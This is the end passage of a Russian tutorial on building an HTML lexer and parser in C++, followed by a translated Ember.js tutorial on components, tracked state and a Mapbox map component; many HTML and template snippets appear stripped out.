} else
buffer.push_back(c);
break; }
case EMPTY_TAG_NAME: {
throw string("error!");
break; }
case COMMENT: {
...
break; }
case MACRO_TAG: {
...
break; }
case OPENING_BLOCK_TAG_NAME | CLOSING_BLOCK_TAG_NAME | EMPTY_TAG_NAME | COMMENT | MACRO_TAG: {
...
break; }
case EMPTY_TAG_NAME | COMMENT: {
...
break; }
case ATTRIBUTE_NAME: {
...
break; }
case ATTRIBUTE_NAME | UNQUOTED_ATTRIBUTE_VALUE | SINGLE_QUOTED_ATTRIBUTE_VALUE | DOUBLE_QUOTED_ATTRIBUTE_VALUE: {
...
break; }
case UNQUOTED_ATTRIBUTE_VALUE | SINGLE_QUOTED_ATTRIBUTE_VALUE | DOUBLE_QUOTED_ATTRIBUTE_VALUE: {
...
break; }
case UNQUOTED_ATTRIBUTE_VALUE: {
...
break; }
case SINGLE_QUOTED_ATTRIBUTE_VALUE: {
...
break; }
case DOUBLE_QUOTED_ATTRIBUTE_VALUE: {
...
break; }
}
}
```
Проверяем с помощью switch тип ожидаемого токена (или токенов), а внутри каждого case определяем процедуры для каждого из ключевых терминалов. Функций не так много, все выполняют простые действия: либо добавление символа к буферу, либо слив буфера в очередной токен, либо смену ожидаемого типа токена (токенов), либо выброс исключения. Определить нужную процедуру легко по написанной выше грамматике при помощи текстового редактора с возможностью поиска. Просто ищем все включения ожидаемого токена (токенов) в определения других выражений, затем включения этих выражений в «третьи» и т.д. Вот пример для открывающего тега в текстовом редакторе gedit:
Вначале ориентироваться в грамматике сложно, но со временем и опытом она становится не сложнее деления столбиком. А вот и процедура disassemble:
```
void Lexer::disassemble (ifstream &file) {
tokens_count = 0;
curr_token_type = 0;
unsigned long line(1), pos(1);
try {
char c;
curr_token_type = TEXT;
while ((c = file.get()) != EOF) {
if (c == '\n') {
pos = 1;
line++;
} else
pos++;
process(c);
}
if (buffer.size() != 0) {
if (!(curr_token_type | TEXT))
throw string("text was expected!");
add(buffer, TEXT);
buffer.clear();
}
add("", END);
} catch (const string &error) {
throw string("lexer: " + to_string(line) + "," + to_string(pos) + ": " + error);
}
}
```
Первому ожидаемому токену очевидно необходимо задать тип TEXT, а в конце добавить токен типа END с любым текстом (или пустой, как здесь).
Для примера я взял один из своих шаблонов HTML-документа с комментарием, добавил к нему псевдо-скрипт PHP, обработал лексером и вывел список токенов в формате "[ "<текст\_токена>": <тип\_токена> ]". Вот что получилось:
**Сам документ**
```
* [Главная](#)
* [Обзор](#)
* Помощь
php ?
---
Copyright © 2019. Все права защищены.
```
**Список токенов**````
[ "!DOCTYPE" : EMPTY_TAG_NAME ]
[ "html" : ATTRIBUTE_NAME ]
[ "
" : TEXT ]
[ "html" : OPENING_BLOCK_TAG_NAME ]
[ "lang" : ATTRIBUTE_NAME ]
[ "ru" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "head" : OPENING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "http-equiv" : ATTRIBUTE_NAME ]
[ "content-type" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "text/html" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "charset" : ATTRIBUTE_NAME ]
[ "utf-8" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "author" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "Interquadro" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "description" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "keywords" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "viewport" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "width=device-width, initial-scale=1" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "format-detection" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "telephone=no" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "http-equiv" : ATTRIBUTE_NAME ]
[ "x-rim-auto-match" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "telephone=none" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "referrer" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "no-referrer" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "meta" : EMPTY_TAG_NAME ]
[ "name" : ATTRIBUTE_NAME ]
[ "_suburl" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "content" : ATTRIBUTE_NAME ]
[ "" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "title" : OPENING_BLOCK_TAG_NAME ]
[ "title" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "link" : EMPTY_TAG_NAME ]
[ "rel" : ATTRIBUTE_NAME ]
[ "shortcut icon" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "href" : ATTRIBUTE_NAME ]
[ ".ico" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "link" : EMPTY_TAG_NAME ]
[ "rel" : ATTRIBUTE_NAME ]
[ "stylesheet" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "type" : ATTRIBUTE_NAME ]
[ "text/css" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "href" : ATTRIBUTE_NAME ]
[ ".css" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "title" : ATTRIBUTE_NAME ]
[ "" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "[if lt IE 9]>
<![endif]" : COMMENT ]
[ "
" : TEXT ]
[ "head" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "body" : OPENING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "header" : OPENING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "div" : OPENING_BLOCK_TAG_NAME ]
[ "id" : ATTRIBUTE_NAME ]
[ "intro" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "div" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "header" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "nav" : OPENING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "ul" : OPENING_BLOCK_TAG_NAME ]
[ "id" : ATTRIBUTE_NAME ]
[ "nav" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "li" : OPENING_BLOCK_TAG_NAME ]
[ "class" : ATTRIBUTE_NAME ]
[ "nav" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "a" : OPENING_BLOCK_TAG_NAME ]
[ "href" : ATTRIBUTE_NAME ]
[ "#" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ " Главная " : TEXT ]
[ "a" : CLOSING_BLOCK_TAG_NAME ]
[ "li" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "li" : OPENING_BLOCK_TAG_NAME ]
[ "class" : ATTRIBUTE_NAME ]
[ "nav" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "a" : OPENING_BLOCK_TAG_NAME ]
[ "href" : ATTRIBUTE_NAME ]
[ "#" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ " Обзор " : TEXT ]
[ "a" : CLOSING_BLOCK_TAG_NAME ]
[ "li" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "li" : OPENING_BLOCK_TAG_NAME ]
[ "class" : ATTRIBUTE_NAME ]
[ "nav" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "a" : OPENING_BLOCK_TAG_NAME ]
[ "href" : ATTRIBUTE_NAME ]
[ "" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ " Помощь " : TEXT ]
[ "a" : CLOSING_BLOCK_TAG_NAME ]
[ "li" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "ul" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "nav" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "main" : OPENING_BLOCK_TAG_NAME ]
[ "id" : ATTRIBUTE_NAME ]
[ "content" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "
" : TEXT ]
[ "php " : MACRO_TAG ]
[ "
" : TEXT ]
[ "main" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "footer" : OPENING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "hr" : EMPTY_TAG_NAME ]
[ "
" : TEXT ]
[ "small" : OPENING_BLOCK_TAG_NAME ]
[ "id" : ATTRIBUTE_NAME ]
[ "copyright" : DOUBLE_QUOTED_ATTRIBUTE_VALUE ]
[ "Copyright © 2019. Все права защищены." : TEXT ]
[ "small" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "footer" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "body" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "html" : CLOSING_BLOCK_TAG_NAME ]
[ "
" : TEXT ]
[ "" : END ]
</pre>
````
Теперь мы готовы приступить ко второй части — построению синтаксического дерева. Поскольку наши теги имеют аттрибуты, то узлы дерева кроме связи с другими узлами будут содержать массивы пар ключ-значение. Получившаяся конструкция сможет полноправно называться объектной моделью документа DOM, упомянутой в заголовке статьи.
Сколько нужно классов для реализации всех свойств HTML-элементов?
В идеале — по одному классу для каждого элемента, чтобы можно было определять для них каскадные таблицы стилей, но мы ограничимся тремя — пустым тегом «Node», унаследованным от него блоком «Block» (контент, заключённый между двумя парными тегами) и унаследованным от него корнем дерева «Root». Также определим в парсере массив тегов, которые могут содержать текст, такие, как , - , **и др, чтобы отсеять токены с неразмеченным текстом. Теперь дело за малым. Если вы хорошо проработали лексический анализатор, то задача синтаксического — просто поглощать токены и выполнять в открытом узле одну из трёх операций: добавить в него пустой узел, открыть новый или закрыть самого, вернув указатель на родителя. Для последней потребуется, чтобы все классы, начиная с базового Node, содержали такой указатель, получаемый при создании элемента. Этот процесс называется *нисходящим синтаксическим разбором*.
Процедура парсинга:
```
void Parser::parse (const Lexer &lexer) {
Block * open_block = (Block*) tree;
Node * last_node = (Node*) tree;
try {
unsigned long long size = lexer.count();
for (unsigned long long i(0); i < size-2; i++) {
switch (lexer[i].type) {
case Lexer::TEXT: {
for (unsigned int j(0); j < TEXT_TAGS_COUNT; j++)
if (open_block->get_name() == text_tags[j])
last_node = open_block->add("TEXT", lexer[i].lexeme);
break; }
case Lexer::OPENING_BLOCK_TAG_NAME: {
last_node = open_block = open_block->open(lexer[i].lexeme);
break; }
case Lexer::CLOSING_BLOCK_TAG_NAME: {
if (lexer[i].lexeme != open_block->get_name())
throw string("unexpected closing tag: ");
open_block = open_block->close();
break; }
case Lexer::EMPTY_TAG_NAME: {
last_node = open_block->add(lexer[i].lexeme);
break; }
case Lexer::COMMENT: {
last_node = open_block->add("COMMENT", lexer[i].lexeme);
break; }
case Lexer::MACRO_TAG: {
last_node = open_block->add("MACRO", lexer[i].lexeme);
break; }
case Lexer::ATTRIBUTE_NAME: {
last_node->add_attr(lexer[i].lexeme, lexer[i].lexeme);
break; }
case Lexer::UNQUOTED_ATTRIBUTE_VALUE: {
last_node->set_last_attr(lexer[i].lexeme);
break; }
case Lexer::SINGLE_QUOTED_ATTRIBUTE_VALUE: {
last_node->set_last_attr(lexer[i].lexeme);
break; }
case Lexer::DOUBLE_QUOTED_ATTRIBUTE_VALUE: {
last_node->set_last_attr(lexer[i].lexeme);
break; }
case Lexer::END: {
if (open_block->get_type() != Node::ROOT)
throw string("unexpected ending!");
open_block->close();
}
}
}
} catch (const string &error) {
throw string("parser: " + error);
}
}
```
Вот и всё! Если вы всё сделали правильно, полученное дерево можно вывести на экран:
```
|
+--
|
+--
|
+--
|
+--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
| |
| +--
|
+--
|
+--
| |
| +--
|
+--
| |
| +--
| |
| +--* | | |
| | +--| |
| +--* | | |
| | +--| |
| +--* | |
| +--|
+--
| |
| +--
|
+--
|
+--
---
|
+--
```
Однако, хотя полученное дерево действительно можно назвать DOM, до полноценных jQuery, Jsoup, beautifulsoup или Gumbo нашему парсеру далеко, в частности потому, что он не может правильно обрабатывать текст, расположенный между парными тегами** | https://habr.com/ru/post/442964/ | null | ru | null |
# Туториал из руководства по Ember.js. Приложение Super Rentals. Часть 1.2
Продолжаем публиковать перевод туториала из официального руководства Ember.js. Туториал состоит из двух частей и это вторая половина первой части туториала. Напоминаем, что первую половину вы можете прочитать [по этой ссылке](https://habr.com/ru/post/482296/)
Список тем, которые покрывает туториал внушает:
* Использование Ember CLI
* Навигация по структуре файлов и папок приложения Ember
* Создание и связь между страницами
* Шаблоны (templates) и компоненты
* Автоматизированное тестирование
* Работа с данными сервера
* Динамические сегменты в маршрутах
* Сервисы в Ember
* Библиотека Ember Data
* Адаптеры и сериализаторы
* Паттерн компонента-провайдера
Садитесь поудобнее, открывайте терминалы, находите проект на своем компьютере и давайте двигаться дальше. И помните, что если у вас возникнут трудности, всегда можно попросить помощи в [Discord канале](https://discord.gg/emberjs) сообщества (на русском канал [#lang-russian](https://discordapp.com/channels/480462759797063690/487218809711886356)), а также в русскоязычном [телеграмм канале ember\_js](https://t.me/ember_js)
Подробнее о компонентах
=======================
Пора наконец-то поработать над списком аренды:
Составляя этот список арендуемой недвижимости, вы узнаете о:
* Генерации компонентов
* Организации кода с использованием компонентов пространства имен
* Пересылке атрибутов HTML с `...attributes`
* Определении подходящего количества тестового покрытия
Генерация компонентов
---------------------
Начнем с создания компонента . На этот раз мы будем использовать генератор компонентов для создания шаблона и тестового файла для нас:
```
$ ember generate component rental
installing component
create app/components/rental.hbs
skip app/components/rental.js
tip to add a class, run `ember generate component-class rental`
installing component-test
create tests/integration/components/rental-test.js
```
Генератор создал для нас два новых файла: шаблон компонента в `app/components/rental.hbs` и тестовый файл компонента в `tests/integration/components/rental-test.js`.
Мы начнем с редактирования шаблона. Давайте пока [захардкодим](https://asolntsev.github.io/ru/2016/07/08/what-is-hardcode/) детали для одного арендуемого объекта, а потом заменим его реальными данными с сервера.
Затем мы напишем тест, чтобы убедиться, что все детали присутствуют. Мы заменим шаблонный тест, сгенерированный для нас, нашими собственными командами, как мы делали это ранее для компонента :
Тесты должны пройти.
Наконец, давайте добавим новый компонент в шаблон индекса, чтобы заполнить страницу.
При этом мы должны увидеть компонент показывающий наш Grand Old Mansion три раза на странице:
Все выглядит довольно неплохо для небольшой работы!
Организация кода с использованием пространств имен
--------------------------------------------------
Далее добавим изображение для арендуемой недвижимости. Мы будем использовать генератор компонентов для этого снова:
```
$ ember generate component rental/image
installing component
create app/components/rental/image.hbs
skip app/components/rental/image.js
tip to add a class, run `ember generate component-class rental/image`
installing component-test
create tests/integration/components/rental/image-test.js
```
На этот раз у нас был `/` в названии компонента. Это привело к созданию компонента в `app/components/rental/image.hbs`, который может быть вызван как .
Подобные компоненты известны как компоненты из [пространства имен](https://habr.com/ru/post/31596/). Пространство имен позволяет нам организовывать наши компоненты по папкам в соответствии с их назначением. Это совершенно необязательно, но удобно, особенно, когда вы разрабатываете крупное приложение в коллективе.
Пересылка атрибутов HTML с `...attributes`
------------------------------------------
Давайте отредактируем шаблон компонента:
Вместо того, чтобы жестко задавать конкретные значения для атрибутов `src` и `alt` в `![]()`, мы выбрали ключевое слово `...attributes`, которое также иногда называют «splattributes». Это позволяет передавать произвольные атрибуты HTML при вызове этого компонента, например так:
Мы указали здесь атрибут HTML `src` и `alt`, который будет передан компоненту и присоединен к элементу, где `...attributes` применяются в шаблоне компонента. Вы можете думать, что это похоже на `{{yield}}`, но только для атрибутов HTML, а не для отображаемого содержимого. Фактически, мы уже использовали эту функцию ранее, когда передавали атрибут `class` в .
Таким образом, наш компонент не связан с какой-либо конкретной арендуемой собственностью на сайте. Конечно, у нас все также жестко закодировано, но мы с этим скоро разберемся. Пока же ограничим весь хардкод компонентом , чтобы было легче очистить его, когда мы перейдем к извлечению реальных данных.
В общем, это хорошая идея добавить `...attributes` к корневому элементу в вашем компоненте. Это обеспечит максимальную гибкость, так как инициатору может потребоваться передать классы для стилизации или атрибуты ARIA для улучшения доступности.
А теперь давайте напишем тест для нашего нового компонента!
Определение подходящего количества тестового покрытия
-----------------------------------------------------
Наконец, мы также должны обновить тесты для компонента чтобы убедиться, что мы успешно вызвали .
Поскольку мы уже написали тесты, относящиеся к , здесь мы можем опустить детали и свести проверку к минимуму. Таким образом, нам также не придется обновлять тест всякий раз, когда мы вносим изменения в .
Интерактивные компоненты
========================
В этой главе вы добавите интерактивность на страницу, которая позволит пользователю кликать на изображение, чтобы увеличить или уменьшить его:
При этом вы узнаете о:
* Добавлении поведения к компонентам с классами
* Доступе к состояниям экземпляра из шаблонов
* Управлении состоянием с отслеживаемыми свойствами
* Использовании условных синтаксисов в шаблонах
* Реагировании на взаимодействие пользователя с действиями
* Как вызвать модификаторы элемента
* Тестировании взаимодействия с пользователем
Добавление поведения к компонентам с классами
=============================================
Пока что все компоненты, которые мы написали, являются чисто презентационными — это просто фрагменты разметки многократного использования. Это конечно, прекрасно, но в Ember компоненты могут сделать намного больше!
Иногда вы хотите связать некоторое поведение с вашими компонентами, чтобы они могли делать более интересные вещи. Например, может реагировать на клики, изменяя URL-адрес и переходя на другую страницу.
Здесь мы собираемся сделать что-то похожее! Мы собираемся реализовать функциональность `«View Larger»` и `«View Smaller»`, которая позволит нашим пользователям щелкнуть на изображение дома, просмотреть увеличенную версию, и снова щелкнуть по нему, чтобы вернуться к уменьшенной версии.
Другими словами, нам нужен способ *переключения* изображения между одним из двух *состояний*. Чтобы сделать это, нам нужен способ для компонента хранить два возможных состояния и знать, в каком состоянии он находится в данный момент.
Ember дополнительно позволяет нам связать код JavaScript с компонентом именно для этой цели. Мы можем добавить файл JavaScript для нашего компонента , запустив генератор компонента:
```
$ ember generate component-class rental/image
installing component-class
create app/components/rental/image.js
```
Эта команда сгенерировала файл JavaScript с тем же именем, что и шаблон нашего компонента в `app/components/rentals/image.js`. Он содержит класс JavaScript, унаследованный от `@glimmer/component`.
> ### Зои поясняет ...
>
>
>
>
>
> `@glimmer/component` или компонент Glimmer — это один из нескольких классов компонентов, доступных для использования. Они являются отличной отправной точкой, когда вы хотите добавить поведение (behavior) к своим компонентам. В этом уроке мы будем использовать исключительно компоненты Glimmer.
>
>
>
> В общем, компоненты Glimmer следует использовать всегда, когда это возможно. Тем не менее, вы также можете увидеть `@ember/components` (классические компоненты), используемые в старых приложениях. Вы можете отличить их друг от друга, посмотрев на путь их импорта (что полезно при поиске соответствующей документации, поскольку у них разные и *несовместимые* API).
Ember создает *экземпляр* класса всякий раз, когда вызывается наш компонент. Мы можем использовать этот экземпляр для хранения нашего состояния:
Здесь, в *конструкторе компонента*, мы *инициализировали переменную экземпляра* `this.isLarge` со значением `false`, так как это состояние по умолчанию, которое мы хотим для нашего компонента.
Доступ к состояниям экземпляра из шаблонов
------------------------------------------
Давайте обновим наш шаблон, чтобы использовать это состояние, которое мы только что добавили:
В шаблоне у нас есть доступ к переменным экземпляра компонента. *Условный* синтаксис `{{#if ...}}...{{else}}...{{/if}}` позволяет отображать различное содержимое в зависимости от условия (в данном случае это значение переменной экземпляра `this.isLarge`). Комбинируя эти две функции, мы можем соответственно визуализировать как маленькую, так и большую версию изображения.
Мы можем это проверить временно изменив начальное значение в нашем файле JavaScript. Если мы изменим `app/components/rental/image.js` для инициализации `this.isLarge = true`; в конструкторе мы должны увидеть большую версию изображения свойства в браузере. Здорово!
После того как мы проверили, можно изменить `this.isLarge` обратно на `false`.
Поскольку этот шаблон инициализации переменных экземпляра в конструкторе довольно распространен, для него существует гораздо более краткий синтаксис:
Такая же функциональность, но намного короче!
Конечно, наши пользователи не могут редактировать наш исходный код, поэтому нам нужен способ для переключения размера изображения из браузера. В частности, мы хотим переключать значение `this.isLarge` всякий раз, когда пользователь нажимает на наш компонент.
Управление состоянием с помощью отслеживаемых свойств
=====================================================
Давайте изменим наш класс, добавив метод для переключения размера:
Мы сделали несколько вещей здесь, поэтому давайте разберемся с этим.
Сначала мы добавили [декоратор](https://habr.com/ru/post/277021/) `@tracked` к переменной экземпляра `isLarge`. Эта аннотация указывает Ember отслеживать эту переменную на наличие обновлений. Всякий раз, когда значение этой переменной изменяется, Ember автоматически перерисовывает любые шаблоны, которые зависят от ее значения.
В нашем случае всякий раз, когда мы присваиваем новое значение `this.isLarge`, аннотация `@tracked` заставит Ember переоценить условие `{{#if this.isLarge}}` в нашем шаблоне и переключиться между двумя блоками соответственно.
> ### Зои поясняет ...
>
>
>
>
>
> Не волнуйтесь! Если вы ссылаетесь на переменную в шаблоне, но забыли добавить декоратор `@tracked`, в режиме разработки вы получите понятную ошибку при изменении ее значения!
Обрабатываем действия пользователя
----------------------------------
Затем мы добавили метод `toggleSize` в наш класс, который переключает `this.isLarge` в противоположность его текущему состоянию ( `false` становится `true` или `true` становится `false`).
Наконец, мы добавили декоратор `@action` в наш метод. Это указывает Ember, что мы намерены использовать этот метод из нашего шаблона. Без этого метод не будет функционировать должным образом в качестве функции обработки событий (в данном случае обработчика кликов).
> ### Зои поясняет ...
>
>
>
>
>
> Если вы забудете добавить декоратор `@action`, вы также получите ошибку при нажатии на кнопку в режиме разработки!
Теперь пришло время использовать это в шаблоне:
Мы изменили две вещи.
Во-первых, поскольку мы хотели сделать наш компонент интерактивным, мы переключили содержащий тег с на (это важно из соображений accessibility). Используя правильный семантический тег, мы также «бесплатно» получим возможность фокуса и взаимодействие с клавиатурой.
Затем мы использовали модификатор `{{on}}`, чтобы прикрепить `this.toggleSize` в качестве обработчика нажатия кнопки.
Таким образом, мы создали наш первый интерактивный компонент. Попробуйте как он работает в браузере!
Тестирование взаимодействия с пользователем
-------------------------------------------
Наконец, давайте напишем тест для этого нового поведения:
Результат отработки теста
Давайте почистим наш шаблон, прежде чем двигаться дальше. Мы добавили много дубликатов, когда вставляли условные выражения в шаблон. Если мы посмотрим внимательно, единственные вещи, которые отличаются между этими двумя блоками:
1) Наличие `"large"` CSS-класса в .
2) Текст `«Увеличить»` и `«Уменьшить»`.
Эти изменения скрыты в большом количестве дублированного кода. Мы можем уменьшить дублирование, используя вместо этого выражение `{{if}}`:
Версия выражения `{{if}}` принимает два аргумента. Первым аргументом является *условие*. Второй аргумент — это выражение (expression), которое должно выполнится, если условие истинно.
Необязательно, `{{if}}` может принимать в качестве третьего аргумента выражение, которое должно выполнится, если *условие* ложно. Это означает, что мы могли бы переписать метку кнопки следующим образом:
Является ли это улучшением ясности нашего кода — вопрос вкуса. В любом случае, мы значительно сократили дублирование в нашем коде и сделали важные фрагменты логики более заметными.
Запустите тесты в последний раз, чтобы убедиться, что наш рефакторинг ничего не сломал, и мы будем готовы к следующему вызову!
Повторное использование компонентов
===================================
Оставшаяся нереализованная часть в компоненте — это карта, показывающая местоположение жилища, над чем мы будем работать дальше:
При добавлении карты вы узнаете об:
* Управлении конфигурациями на уровне приложений
* Параметризации компонентов с аргументами
* Доступе к аргументам компонента
* Интерполяции (interpolating) значений в шаблонах
* Переопределении (overriding) атрибутов HTML в ...attributes
* Рефакторинге с геттерами и авто-слежением (auto-track)
* Получении значений JavaScript в тестовом контексте
Управление конфигурациями уровня приложения
-------------------------------------------
Мы будем использовать [Mapbox API](https://www.mapbox.com/) для создания карт для наших арендуемых объектов. Вы можете [зарегистрироваться](https://www.mapbox.com/signup/) бесплатно и без кредитной карты.
Mapbox предоставляет API [статических изображений карт](https://docs.mapbox.com/api/maps/#static-images), который обслуживает изображения карт в формате PNG. Это означает, что мы можем сгенерировать соответствующий URL для параметров, которые мы хотим, и отобразить карту, используя стандартный `![]()`. Класс!
Если вам интересно, вы можете изучить варианты, доступные в Mapbox, с помощью [интерактивной песочницы](https://docs.mapbox.com/help/interactive-tools/static-api-playground/).
После того, как вы зарегистрировались в службе, возьмите свой [общедоступный токен](https://account.mapbox.com/access-tokens/) (default public token) и вставьте его в `config/environment.js`:
Как следует из названия, `config/environment.js` используется для настройки нашего приложения и хранения ключей API, подобных этим. К этим значениям можно получить доступ из других частей нашего приложения, и они могут иметь различные значения в зависимости от текущей среды (environment) (которая может быть разработкой (development), тестированием (test) или продакшнм (production)).
> ### Зои поясняет ...
>
>
>
>
>
> При желании вы можете [создать разные токены](https://account.mapbox.com/access-tokens/) доступа Mapbox для использования в разных средах. Как минимум, каждый токен должен иметь область действия «styles:tile», чтобы использовать API статических изображений Mapbox.
После сохранения изменений в нашем файле конфигурации нам нужно будет перезапустить наш сервер разработки, чтобы получить эти изменения файла. В отличие от файлов, которые мы редактировали, `config/environment.js` не перезагружается автоматически.
Вы можете остановить сервер, найдя окно терминала, где работает `ember server`, затем нажмите Ctrl + C То есть, нажимая клавишу «C» на клавиатуре, одновременно удерживая клавишу «Ctrl». Как только он остановился, вы можете запустить его снова с помощью той же команды `ember server`.
```
$ ember server
building...
Build successful (13286ms) – Serving on http://localhost:4200/
```
Создание компонента содержащего класс компонента
------------------------------------------------
Добавив в приложение ключ Mapbox API, давайте сгенерируем новый компонент для нашей карты.
```
$ ember generate component map --with-component-class
installing component
create app/components/map.js
create app/components/map.hbs
installing component-test
create tests/integration/components/map-test.js
```
Поскольку не каждый компонент обязательно будет иметь определенное поведение, связанное с ним, генератор компонентов по умолчанию не создает для нас JavaScript файл. Как мы видели ранее, мы всегда можем использовать генератор компонента, чтобы добавить его позже.
Однако, в случае нашего компонента , мы почти уверены, что нам понадобится файл JavaScript для некоего поведения, которое нам еще предстоит определить! Поэтому мы можем передать флаг `--with-component-class` генератору компонентов, чтобы у нас было все необходимое с самого начала.
> ### Зои советует ...
>
>
>
>
>
> Слишком много печатать? Используйте команду`ember g component map -gc`. Флаг `-gc` обозначает компонент Glimmer (*g*limmer *c*omponent), а также сгенерировать класс (*g*enerate *c*lass)
Параметризация компонентов с помощью аргументов
-----------------------------------------------
Давайте начнем с нашего файла JavaScript:
Здесь мы импортируем токен доступа из файла конфигурации и возвращаем его из геттера (getter) `token`. Это позволяет нам получить доступ к нашему токену как `this.token` как внутри `MapComponent` класса, так и в шаблоне компонента. Также важно кодировать (encode) токен, на случай, если он содержит какие-либо специальные символы, которые не безопасны для URL.
Интерполяция значений в шаблонах
--------------------------------
Теперь перейдем от JavaScript файла к шаблону:
Во-первых, у нас есть элемент контейнера для стилизации.
Затем у нас есть `![]()` для запроса и рендеринга статического изображения карты из Mapbox.
Наш шаблон содержит несколько значений, которых еще не существует — `@lat`, `@lng`, `@zoom`, `@width` и `@height`. Это *аргументы* компонента которые мы предоставим ему при вызове.
Параметризуя наш компонент с помощью аргументов, мы создали повторно используемый компонент, который можно вызывать из разных частей приложения и настраивать для удовлетворения потребностей в этих конкретных контекстах. Мы уже видели это в действии при использовании компонента ранее; нам нужно было указать аргумент `@route` чтобы он знал, на какую страницу перейти.
Мы предоставили разумное значение по умолчанию для атрибута `alt` на основе значений аргументов `@lat` и `@lng`. Вы можете заметить, что мы напрямую интерполируем значения в значение атрибута `alt`. Ember автоматически объединит эти интерполированные значения в строковое значение, включая выполнение любого необходимого экранирования (escaping) HTML.
Переопределение атрибутов HTML в `...attributes`
------------------------------------------------
Затем мы использовали `...attributes`, чтобы позволить вызывающему потребителю дополнительно настроить `![]()`, например, передать дополнительные атрибуты, такие как `class`, а также переопределить наш атрибут `alt` умолчанию более конкретным или дружественным для человека.
Порядок важен! Ember применяет атрибуты в порядке их появления. Присваивая атрибут дефолтное значение `alt` первым ( до применения `...attributes`), мы явно предоставляем вызывающему возможность предоставить более специализированный атрибут `alt` в соответствии с необходимым вариантом использования.
Поскольку переданный атрибут `alt` (если таковой существует) появится после нашего, он переопределит указанное нами значение. С другой стороны, важно, чтобы мы назначили `src`, `width` и `height` после ...attributes, чтобы они не были случайно перезаписаны вызывающим (invoker).
Атрибут `src` интерполирует все необходимые параметры в формат URL для API [статического изображения](https://docs.mapbox.com/api/maps/#static-images) карты Mapbox, включая URL-безопасный токен `this.token`.
